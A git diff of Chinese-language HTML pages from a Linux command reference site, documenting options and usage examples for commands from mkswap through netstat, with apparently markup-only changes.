    - - + + \ No newline at end of file diff --git a/c/mkswap.html b/c/mkswap.html index c3bdcb8288..56bcfcfdee 100644 --- a/c/mkswap.html +++ b/c/mkswap.html @@ -9,7 +9,7 @@ mkswap 命令,Linux mkswap 命令详解:建立和设置SWAP交换分区 - Linux 命令搜索引擎 - + @@ -135,7 +135,7 @@ customElements.define('markdown-style', MarkdownStyle);设备:指定交换空间对应的设备文件或者交换文件。

    实例

    查看系统swap space大小:

    -
    free -m
    +
    free -m
     total used free shared buffers cached
     Mem: 377 180 197 0 19 110
     -/+ buffers/cache: 50 327
    @@ -147,7 +147,7 @@ Mem: 377 180 197 0 19 110
     Swap: 572 0 572
     " class="copied">

    查看当前的swap空间(file(s)/partition(s)):

    -
    swapon -s
    +
    swapon -s
     
     等价于
     
    @@ -197,7 +197,7 @@ cat /proc/swaps
     

    /etc/fstab中删除项目,使用fdisk或yast工具删除分区。

    - - + + \ No newline at end of file diff --git a/c/mktemp.html b/c/mktemp.html index 9d20705c98..57cd2d2561 100644 --- a/c/mktemp.html +++ b/c/mktemp.html @@ -9,7 +9,7 @@ mktemp 命令,Linux mktemp 命令详解:创建临时文件供shell脚本使用 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定创建的临时文件。

    - - + + \ No newline at end of file diff --git a/c/modprobe.html b/c/modprobe.html index 24ade6185f..ce25fb7b4e 100644 --- a/c/modprobe.html +++ b/c/modprobe.html @@ -9,7 +9,7 @@ modprobe 命令,Linux modprobe 命令详解:自动处理可载入模块 - Linux 命令搜索引擎 - + @@ -146,7 +146,7 @@ customElements.define('markdown-style', MarkdownStyle);模块名:要加载或移除的模块名称。

    实例

    查看modules的配置文件:

    -
    modprobe -c
    +
    modprobe -c
     

    这里,可以查看modules的配置文件,比如模块的alias别名是什么等。会打印许多行信息,例如其中的一行会类似如下:

    @@ -154,7 +154,7 @@ customElements.define('markdown-style', MarkdownStyle);

    列出内核中所有已经或者未挂载的所有模块:

    -
    modprobe -l
    +
    modprobe -l
     

    这里,我们能查看到我们所需要的模块,然后根据我们的需要来挂载;其实modprobe -l读取的模块列表就位于/lib/modules/`uname -r `目录中;其中uname -r是内核的版本,例如输出结果的其中一行是:

    @@ -167,11 +167,11 @@ customElements.define('markdown-style', MarkdownStyle);

    这里,使用格式modprobe 模块名来挂载一个模块。挂载之后,用lsmod可以查看已经挂载的模块。模块名是不能带有后缀的,我们通过modprobe -l所看到的模块,都是带有.ko.o后缀。

    移除已经加载的模块:

    -
    modprobe -r 模块名
    +
    modprobe -r 模块名
     

    这里,移除已加载的模块,和rmmod功能相同。

    - - + + \ No newline at end of file diff --git a/c/more.html b/c/more.html index 4f7eea5f80..b6da87bfc7 100644 --- a/c/more.html +++ b/c/more.html @@ -9,7 +9,7 @@ more 命令,Linux more 命令详解:显示文件内容,每次显示一屏 - Linux 命令搜索引擎 - + @@ -148,14 +148,14 @@ customElements.define('markdown-style', MarkdownStyle);文件:指定分页显示内容的文件。

    实例

    显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完成的百分比。

    -
    more -dc file
    +
    more -dc file
     

    显示文件file的内容,每10行显示一次,而且在显示之前先清屏。

    -
    more -c -10 file
    +
    more -c -10 file
     
    - - + + \ No newline at end of file diff --git a/c/mount.html b/c/mount.html index d1d856a9b8..fede13deb0 100644 --- a/c/mount.html +++ b/c/mount.html @@ -9,7 +9,7 @@ mount 命令,Linux mount 命令详解:用于挂载Linux系统外的文件 - Linux 命令搜索引擎 - + @@ -119,7 +119,7 @@ customElements.define('markdown-style', MarkdownStyle);mount命令 Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。

    语法

    mount [-hV]
    -mount -a [-fFnrsvw] [-t vfstype]
    +mount -a [-fFnrsvw] [-t vfstype]
     mount [-fnrsvw] [-o options [,...]] device | dir
     mount [-fnrsvw] [-t vfstype] [-o options] device dir
     
    选项
    -V:显示程序版本
     -h:显示辅助讯息
    --v:显示较讯息,通常和 -f 用来除错。
    +-v:显示较讯息,通常和 -f 用来除错。
     -a:将 /etc/fstab 中定义的所有档案系统挂上。
    --F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。
    --f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。
    +-F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。
    +-f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。
     -n:一般而言,mount 在挂上后会在 /etc/mtab 中写入一笔资料。但在系统中没有可写入档案系统存在的情况下可以用这个选项取消这个动作。
    --s-r:等于 -o ro
    --w:等于 -o rw
    +-s-r:等于 -o ro
    +-w:等于 -o rw
     -L:将含有特定标签的硬盘分割挂上。
    --U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。
    +-U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。
     -t:指定档案系统的型态,通常不必指定。mount 会自动选择正确的型态。
    --o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。
    --o sync:在同步模式下执行。
    --o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。
    --o auto、-o noauto:打开/关闭自动挂上模式。
    --o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.
    --o dev、-o nodev-o exec、-o noexec允许执行档被执行。
    --o suid、-o nosuid:
    +-o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。
    +-o sync:在同步模式下执行。
    +-o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。
    +-o auto、-o noauto:打开/关闭自动挂上模式。
    +-o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.
    +-o dev、-o nodev-o exec、-o noexec允许执行档被执行。
    +-o suid、-o nosuid:
     允许执行档在 root 权限下执行。
    --o user、-o nouser:使用者可以执行 mount/umount 的动作。
    --o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。
    --o ro:用唯读模式挂上。
    --o rw:用可读写模式挂上。
    --o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。
    +-o user、-o nouser:使用者可以执行 mount/umount 的动作。
    +-o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。
    +-o ro:用唯读模式挂上。
    +-o rw:用可读写模式挂上。
    +-o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。
     
    #mount -o loop /tmp/image.iso /mnt/cdrom
    - - + + \ No newline at end of file diff --git a/c/mpstat.html b/c/mpstat.html index 3136c7dcbf..4498ad6f71 100644 --- a/c/mpstat.html +++ b/c/mpstat.html @@ -9,7 +9,7 @@ mpstat 命令,Linux mpstat 命令详解:显示各个可用CPU的状态 - Linux 命令搜索引擎 - + @@ -158,7 +158,7 @@ Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/14/2022 _x86_64_ " class="copied">

    每2秒产生了全部处理器的统计数据报告:

    下面的命令可以每2秒产生全部处理器的统计数据报告,一共产生三个interval的信息,最后再给出这三个interval的平均信息。默认时,输出是按照CPU号排序。第一个行给出了2秒内所有处理器使用情况。接下来每行对应一个处理器使用情况。

    -
    mpstat -P ALL 2 3
    +
    mpstat -P ALL 2 3
     Linux 3.10.0-1160.71.1.el7.x86_64 (centos)      08/15/2022      _x86_64_        (4 CPU)
     
     09:32:43 AM  CPU    %usr   %nice    %sys %iowait    %irq   %soft  %steal  %guest  %gnice   %idle
    @@ -221,7 +221,7 @@ Average:       3    0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00
     " class="copied">

    比较带参数和不带参数的mpstat的结果:

    对localhost进行压力测试

    -
    ping -f localhost
    +
    ping -f localhost
     

    然后在另一个终端运行mpstat命令

    @@ -281,7 +281,7 @@ Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ Average: all 3.44 0.00 7.28 0.00 0.00 6.52 0.00 0.00 0.00 82.76 " class="copied">

    上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。

    - - + + \ No newline at end of file diff --git a/c/mtools.html b/c/mtools.html index ea999f95e0..baf6395213 100644 --- a/c/mtools.html +++ b/c/mtools.html @@ -9,7 +9,7 @@ mtools 命令,Linux mtools 命令详解:显示mtools支持的指令 - Linux 命令搜索引擎 - + @@ -159,7 +159,7 @@ mpartition, mrd, mread, mmove, mren, mshowfat, mtoolstest, mtype mwrite, mzip " class="copied">

    如上所示,其显示的所有命令均为mtools工具所支持的。

    - - + + \ No newline at end of file diff --git a/c/mv.html b/c/mv.html index 97c49f92f0..9f44fac178 100644 --- a/c/mv.html +++ b/c/mv.html @@ -9,7 +9,7 @@ mv 命令,Linux mv 命令详解:用来对文件或目录重新命名 - Linux 命令搜索引擎 - + @@ -128,7 +128,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    --backup=<备份模式>:若需覆盖文件,则覆盖前先行备份;
    +
    --backup=<备份模式>:若需覆盖文件,则覆盖前先行备份;
     -b:当文件存在时,覆盖前,为其创建一个备份;
     -f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录;
     -i:交互式操作,覆盖前先行询问用户,如果源文件与目标文件或目标目录中的文件同名,则询问用户是否覆盖目标文件。用户输入”y”,表示将覆盖目标文件;输入”n”,表示取消对源文件的移动。这样可以避免误将文件覆盖。
    @@ -178,30 +178,30 @@ mv *.txt /home/office/
     

    打印移动信息

    -
    mv -v *.txt /home/office
    +
    mv -v *.txt /home/office
     

    提示是否覆盖文件

    -
    mv -i file_1.txt /home/office
    +
    mv -i file_1.txt /home/office
     

    源文件比目标文件新时才执行更新

    -
    mv -uv *.txt /home/office
    +
    mv -uv *.txt /home/office
     

    不要覆盖任何已存在的文件

    -
    mv -vn *.txt /home/office
    +
    mv -vn *.txt /home/office
     

    复制时创建备份

    -
    mv -bv *.txt /home/office
    +
    mv -bv *.txt /home/office
     

    无条件覆盖已经存在的文件

    -
    mv -f *.txt /home/office
    +
    mv -f *.txt /home/office
     
    - - + + \ No newline at end of file diff --git a/c/mysql.html b/c/mysql.html index 27bcc79f3e..defa496f6b 100644 --- a/c/mysql.html +++ b/c/mysql.html @@ -9,7 +9,7 @@ mysql 命令,Linux mysql 命令详解:MySQL服务器客户端工具 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    数据库:指定连接服务器后自动打开的数据库。

    - - + + \ No newline at end of file diff --git a/c/mysqladmin.html b/c/mysqladmin.html index c1e9e11315..1dfb72ddf7 100644 --- a/c/mysqladmin.html +++ b/c/mysqladmin.html @@ -9,7 +9,7 @@ mysqladmin 命令,Linux mysqladmin 命令详解:MySQL服务器管理客户端 - Linux 命令搜索引擎 - + @@ -169,7 +169,7 @@ status:给出服务器的简短状态消息; variables:打印出可用变量; version:得到服务器的版本信息。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/mysqldump.html b/c/mysqldump.html index c579eedbc8..c58f5e6f44 100644 --- a/c/mysqldump.html +++ b/c/mysqldump.html @@ -9,7 +9,7 @@ mysqldump 命令,Linux mysqldump 命令详解:MySQL数据库中备份工具 - Linux 命令搜索引擎 - + @@ -159,19 +159,19 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    导出整个数据库

    -
    mysqldump -u 用户名 -p 数据库名 > 导出的文件名
    -mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql
    +
    mysqldump -u 用户名 -p 数据库名 > 导出的文件名
    +mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql
     

    导出一个表

    -
    mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
    -mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql
    +
    mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
    +mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql
     

    导出一个数据库结构

    -
    mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql
    +
    mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql
     

    -d没有数据,--add-drop-table每个create语句之前增加一个drop table

    @@ -181,7 +181,7 @@ mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql

    可使用--skip-lock-tables在导出数据阶段跳过锁表流程

    - - + + \ No newline at end of file diff --git a/c/mysqlimport.html b/c/mysqlimport.html index e571dcd962..6ddcc39edb 100644 --- a/c/mysqlimport.html +++ b/c/mysqlimport.html @@ -9,7 +9,7 @@ mysqlimport 命令,Linux mysqlimport 命令详解:为MySQL服务器用命令行方式导入数据 - Linux 命令搜索引擎 - + @@ -138,7 +138,7 @@ customElements.define('markdown-style', MarkdownStyle);数据库名:指定要导入的数据库名称;
  • 文本文件:包含特定格式文本文件。
  • - - + + \ No newline at end of file diff --git a/c/mysqlshow.html b/c/mysqlshow.html index 92a2991282..ad42261629 100644 --- a/c/mysqlshow.html +++ b/c/mysqlshow.html @@ -9,7 +9,7 @@ mysqlshow 命令,Linux mysqlshow 命令详解:显示MySQL中数据库相关信息 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。

    - - + + \ No newline at end of file diff --git a/c/named-checkzone.html b/c/named-checkzone.html index a4550a9dae..18ed674f6b 100644 --- a/c/named-checkzone.html +++ b/c/named-checkzone.html @@ -9,7 +9,7 @@ named-checkzone 命令,Linux named-checkzone 命令详解:使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称 - Linux 命令搜索引擎 - + @@ -122,9 +122,9 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -q 安静模式
    --d 启用调试
    --c <类别> 指定区域的类别。如果没指定就使用IN
    +
    -q 安静模式
    +-d 启用调试
    +-c <类别> 指定区域的类别。如果没指定就使用IN
     
    - - + + \ No newline at end of file diff --git a/c/nano.html b/c/nano.html index a5e99a147f..418709d0f9 100644 --- a/c/nano.html +++ b/c/nano.html @@ -9,7 +9,7 @@ nano 命令,Linux nano 命令详解:字符终端文本编辑器 - Linux 命令搜索引擎 - + @@ -123,48 +123,48 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
     -h, -?         --help                  显示此信息
    +
     -h, -?         --help                  显示此信息
      +行,列                                 从所指列数与行数开始
    - -A             --smarthome             启用智能 HOME 键
    - -B             --backup                储存既有文件的备份
    - -C <目录>      --backupdir=<目录>      用以储存独一备份文件的目录
    - -D             --boldtext              用粗体替代颜色反转
    - -E             --tabstospaces          将已输入的制表符转换为空白
    - -F             --multibuffer           启用多重文件缓冲区功能
    - -H             --historylog            记录与读取搜索/替换的历史字符串
    - -I             --ignorercfiles         不要参考nanorc 文件
    - -K             --rebindkeypad          修正数字键区按键混淆问题
    - -L             --nonewlines            不要将换行加到文件末端
    - -N             --noconvert             不要从 DOS/Mac 格式转换
    - -O             --morespace             编辑时多使用一行
    - -Q <字符串>    --quotestr=<字符串>     引用代表字符串
    - -R             --restricted            限制模式
    - -S             --smooth                按行滚动而不是半屏
    - -T <#列数>     --tabsize=<#列数>       设定制表符宽度为 #列数
    - -U             --quickblank            状态行快速闪动
    - -V             --version               显示版本资讯并离开
    - -W             --wordbounds            更正确地侦测单字边界
    - -Y <字符串>    --syntax=<字符串>       用于加亮的语法定义
    - -c             --const                 持续显示游标位置
    - -d             --rebinddelete          修正退格键/删除键混淆问题
    - -i             --autoindent            自动缩进新行
    - -k             --cut                   从游标剪切至行尾
    - -l             --nofollow              不要依照符号连结,而是覆盖
    - -m             --mouse                 启用鼠标功能
    - -o <目录>      --operatingdir=<目录>   设定操作目录
    - -p             --preserve              保留XON (^Q) 和XOFF (^S) 按键
    - -q             --quiet                 沉默忽略启动问题, 比如rc 文件错误
    - -r <#列数>     --fill=<#列数>          设定折行宽度为 #列数
    - -s <程序>      --speller=<程序>        启用替代的拼写检查程序
    - -t             --tempfile              离开时自动储存,不要提示
    - -u             --undo                  允许通用撤销[试验性特性]
    - -v             --view                  查看(只读)模式
    - -w             --nowrap                不要自动换行
    - -x             --nohelp                不要显示辅助区
    - -z             --suspend               启用暂停功能
    - -$             --softwrap              启用软换行
    + -A             --smarthome             启用智能 HOME 键
    + -B             --backup                储存既有文件的备份
    + -C <目录>      --backupdir=<目录>      用以储存独一备份文件的目录
    + -D             --boldtext              用粗体替代颜色反转
    + -E             --tabstospaces          将已输入的制表符转换为空白
    + -F             --multibuffer           启用多重文件缓冲区功能
    + -H             --historylog            记录与读取搜索/替换的历史字符串
    + -I             --ignorercfiles         不要参考nanorc 文件
    + -K             --rebindkeypad          修正数字键区按键混淆问题
    + -L             --nonewlines            不要将换行加到文件末端
    + -N             --noconvert             不要从 DOS/Mac 格式转换
    + -O             --morespace             编辑时多使用一行
    + -Q <字符串>    --quotestr=<字符串>     引用代表字符串
    + -R             --restricted            限制模式
    + -S             --smooth                按行滚动而不是半屏
    + -T <#列数>     --tabsize=<#列数>       设定制表符宽度为 #列数
    + -U             --quickblank            状态行快速闪动
    + -V             --version               显示版本资讯并离开
    + -W             --wordbounds            更正确地侦测单字边界
    + -Y <字符串>    --syntax=<字符串>       用于加亮的语法定义
    + -c             --const                 持续显示游标位置
    + -d             --rebinddelete          修正退格键/删除键混淆问题
    + -i             --autoindent            自动缩进新行
    + -k             --cut                   从游标剪切至行尾
    + -l             --nofollow              不要依照符号连结,而是覆盖
    + -m             --mouse                 启用鼠标功能
    + -o <目录>      --operatingdir=<目录>   设定操作目录
    + -p             --preserve              保留XON (^Q) 和XOFF (^S) 按键
    + -q             --quiet                 沉默忽略启动问题, 比如rc 文件错误
    + -r <#列数>     --fill=<#列数>          设定折行宽度为 #列数
    + -s <程序>      --speller=<程序>        启用替代的拼写检查程序
    + -t             --tempfile              离开时自动储存,不要提示
    + -u             --undo                  允许通用撤销[试验性特性]
    + -v             --view                  查看(只读)模式
    + -w             --nowrap                不要自动换行
    + -x             --nohelp                不要显示辅助区
    + -z             --suspend               启用暂停功能
    + -$             --softwrap              启用软换行
      -a, -b, -e,
    - -f, -g, -j                             (忽略,为与pico 相容)
    + -f, -g, -j                             (忽略,为与pico 相容)
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -304,7 +304,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/nc.html b/c/nc.html index 9a42c5c4be..8ff8ca7a48 100644 --- a/c/nc.html +++ b/c/nc.html @@ -9,7 +9,7 @@ nc 命令,Linux nc 命令详解:用于设置路由器,是网络工具中的瑞士军刀。 - Linux 命令搜索引擎 - + @@ -124,20 +124,20 @@ customElements.define('markdown-style', MarkdownStyle);][-v...][-w<超时秒数>][主机名称][通信端口...] " class="copied">

    选项

    -
    -g <网关> # 设置路由器跃程通信网关,最多可设置8个。
    +
    -g <网关> # 设置路由器跃程通信网关,最多可设置8个。
     -G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。
    --h 在线帮助。
    +-h 在线帮助。
     -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
    --l 使用监听模式,管控传入的资料。
    --n 直接使用IP地址,而不通过域名服务器。
    +-l 使用监听模式,管控传入的资料。
    +-n 直接使用IP地址,而不通过域名服务器。
     -o<输出文件> # 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
     -p<通信端口> # 设置本地主机使用的通信端口。
    --r 乱数指定本地与远端主机的通信端口。
    +-r 乱数指定本地与远端主机的通信端口。
     -s<来源位址> # 设置本地主机送出数据包的IP地址。
    --u 使用UDP传输协议。
    --v 显示指令执行过程。
    +-u 使用UDP传输协议。
    +-v 显示指令执行过程。
     -w<超时秒数> # 设置等待连线的时间。
    --z 使用0输入/输出模式,只在扫描通信端口时使用。
    +-z 使用0输入/输出模式,只在扫描通信端口时使用。
     

    查看从服务器到目的地的出站端口 443 是否被防火墙阻止

    -
    nc -vz acme-v02.api.letsencrypt.org 443 -w2
    +
    nc -vz acme-v02.api.letsencrypt.org 443 -w2
     # Ncat: Version 7.50 ( https://nmap.org/ncat )
     # Ncat: Connected to 23.77.214.183:443.
     # Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
    @@ -191,7 +191,7 @@ y  //用户输入
     # Ncat: Connected to 23.77.214.183:443.
     # Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ncftp.html b/c/ncftp.html index fcf22f323c..11c456e667 100644 --- a/c/ncftp.html +++ b/c/ncftp.html @@ -9,7 +9,7 @@ ncftp 命令,Linux ncftp 命令详解:是增强的的FTP工具 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz tar zxvf ncftp-3.2.3-src.tar.gz cd ncftp-3.2.3/ -./configure --prefix=/usr/local/ncftp +./configure --prefix=/usr/local/ncftp make && make install

    实例

    将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。

    -
    /usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137  flv/games/ /etc/*
    +
    /usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137  flv/games/ /etc/*
     

    指令说明

    @@ -165,7 +165,7 @@ make && make install
  • lrm: 删除本地文件;
  • lrmdir: 删除本地目录。
  • - - + + \ No newline at end of file diff --git a/c/neofetch.html b/c/neofetch.html index 3adcbd0c1b..90d32205c8 100644 --- a/c/neofetch.html +++ b/c/neofetch.html @@ -9,7 +9,7 @@ neofetch 命令,Linux neofetch 命令详解:显示带有发行徽标的系统信息的工具 - Linux 命令搜索引擎 - + @@ -124,12 +124,12 @@ customElements.define('markdown-style', MarkdownStyle);Neofetch是一个开源工具,项目地址

    安装

    Debian/Ubuntu

    -
    sudo apt install neofetch -y
    +
    sudo apt install neofetch -y
     

    CentOS

    -
    sudo yum install neofetch -y
    -sudo dnf install neofetch -y
    +
    sudo yum install neofetch -y
    +sudo dnf install neofetch -y
     
    @@ -218,7 +218,7 @@ ossyNMMMNyMMhsssssssssssssshmmmhssssssso Theme: Arc-Darker [GTK3] `:+ssssssssssssssssss+:` .-/+oossssoo+/-. " class="copied">
    - - + + \ No newline at end of file diff --git a/c/nethogs.html b/c/nethogs.html index 9152c471c5..fd0c9ca8e8 100644 --- a/c/nethogs.html +++ b/c/nethogs.html @@ -9,7 +9,7 @@ nethogs 命令,Linux nethogs 命令详解:终端下的网络流量监控工具 - Linux 命令搜索引擎 - + @@ -129,16 +129,16 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]]
    -  -V : 打印版本。
    -  -h : 打印此帮助。
    -  -b : bughunt模式 - 暗示tracemode。
    -  -d : 延迟更新刷新率(以秒为单位)。 默认值为1。
    -  -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0。
    -  -c : 更新次数。 默认为0(无限制)。
    -  -t : tracemode.
    -  -p : 煽动混乱模式(不推荐)。
    -  -s : 按发送列排序输出。
    -  -a : 监控所有设备,甚至环回/停止。
    +  -V : 打印版本。
    +  -h : 打印此帮助。
    +  -b : bughunt模式 - 暗示tracemode。
    +  -d : 延迟更新刷新率(以秒为单位)。 默认值为1。
    +  -v : 视图模式(0 = KB / s,1 =总KB,2 =总B,3 =总MB)。 默认值为0。
    +  -c : 更新次数。 默认为0(无限制)。
    +  -t : tracemode.
    +  -p : 煽动混乱模式(不推荐)。
    +  -s : 按发送列排序输出。
    +  -a : 监控所有设备,甚至环回/停止。
       device : 要监控的设备。 默认是所有接口启动和运行,不包括环回
     
     当nethogs运行时,按:
    @@ -166,11 +166,11 @@ customElements.define('markdown-style', MarkdownStyle);

    其他参数和用法

    -
    -d : 刷新间隔
    --h : 帮助
    --p : promiscious 模式
    --t : trace模式 
    --V : 版本
    +
    -d : 刷新间隔
    +-h : 帮助
    +-p : promiscious 模式
    +-t : trace模式 
    +-V : 版本
     
    NetHogs 命令行参数

    以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可:

    -
    nethogs -d 5
    +
    nethogs -d 5
     
    -
    $ sudo nethogs -d 5
    +
    $ sudo nethogs -d 5
     

    如果只用来监视设备(eth0)的网络带宽可以使用如下命令:

    @@ -233,7 +233,7 @@ customElements.define('markdown-style', MarkdownStyle);

    关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入man nethogs或者sudo man nethogs,更多信息请参考NetHogs项目主页。

    - - + + \ No newline at end of file diff --git a/c/netstat.html b/c/netstat.html index 64961a06c0..59c4e76578 100644 --- a/c/netstat.html +++ b/c/netstat.html @@ -9,7 +9,7 @@ netstat 命令,Linux netstat 命令详解:查看Linux中网络系统状态信息 - Linux 命令搜索引擎 - + @@ -173,34 +173,34 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    列出所有端口 (包括监听和未监听的)

    -
    netstat -a     #列出所有端口
    -netstat -at    #列出所有tcp端口
    -netstat -au    #列出所有udp端口                             
    +
    netstat -a     #列出所有端口
    +netstat -at    #列出所有tcp端口
    +netstat -au    #列出所有udp端口                             
     

    列出所有处于监听状态的 Sockets

    -
    netstat -l        #只显示监听端口
    -netstat -lt       #只列出所有监听 tcp 端口
    -netstat -lu       #只列出所有监听 udp 端口
    -netstat -lx       #只列出所有监听 UNIX 端口
    +
    netstat -l        #只显示监听端口
    +netstat -lt       #只列出所有监听 tcp 端口
    +netstat -lu       #只列出所有监听 udp 端口
    +netstat -lx       #只列出所有监听 UNIX 端口
     

    显示每个协议的统计信息

    -
    netstat -s   显示所有端口的统计信息
    -netstat -st   显示TCP端口的统计信息
    -netstat -su   显示UDP端口的统计信息
    +
    netstat -s   显示所有端口的统计信息
    +netstat -st   显示TCP端口的统计信息
    +netstat -su   显示UDP端口的统计信息
     
     ​```shell
     
      **在netstat输出中显示 PID 和进程名称** 
     
     ```shell
    -netstat -pt
    +netstat -pt
     
    netstat -an +
    netstat -an
     

    如果只是不想让这三个名称中的一个被显示,使用以下命令:

    -
    netsat -a --numeric-ports
    -netsat -a --numeric-hosts
    -netsat -a --numeric-users
    +
    netsat -a --numeric-ports
    +netsat -a --numeric-hosts
    +netsat -a --numeric-users
     

    持续输出netstat信息

    -
    netstat -c   #每隔一秒输出网络信息
    +
    netstat -c   #每隔一秒输出网络信息
     

    显示系统不支持的地址族(Address Families)

    -
    netstat --verbose
    +
    netstat --verbose
     

    在输出的末尾,会有如下的信息:

    @@ -245,39 +245,39 @@ netstat: no support for `AF X25' on this system. netstat: no support for `AF NETROM' on this system. " class="copied">

    显示核心路由信息

    -
    netstat -r
    +
    netstat -r
     

    使用netstat -rn显示数字格式,不查询主机名称。

    找出程序运行的端口

    并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。

    -
    netstat -ap | grep ssh
    +
    netstat -ap | grep ssh
     

    找出运行在指定端口的进程:

    -
    netstat -an | grep ':80'
    +
    netstat -an | grep ':80'
     

    通过端口找进程ID

    -
    netstat -anp|grep 8081 | grep LISTEN|awk '{printf $7}'|cut -d/ -f1
    +
    netstat -anp|grep 8081 | grep LISTEN|awk '{printf $7}'|cut -d/ -f1
     

    显示网络接口列表

    -
    netstat -i
    +
    netstat -i
     

    显示详细信息,像是ifconfig使用netstat -ie

    IP和TCP分析

    查看连接某服务端口最多的的IP地址:

    -
    netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr
    +
    netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr
     

    TCP各种状态列表:

    -
    netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}'
    +
    netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}'
     

    查看phpcgi进程数,如果接近预设值,说明不够用,需要增加:

    -
    netstat -anpo | grep "php-cgi" | wc -l
    +
    netstat -anpo | grep "php-cgi" | wc -l
     

    扩展知识

    @@ -333,7 +333,7 @@ netstat: no support for `AF NETROM' on this system.

    FIN: (结束标志,FINish)用来结束一个TCP回话.但对应端口仍处于开放状态,准备接收后续数据。

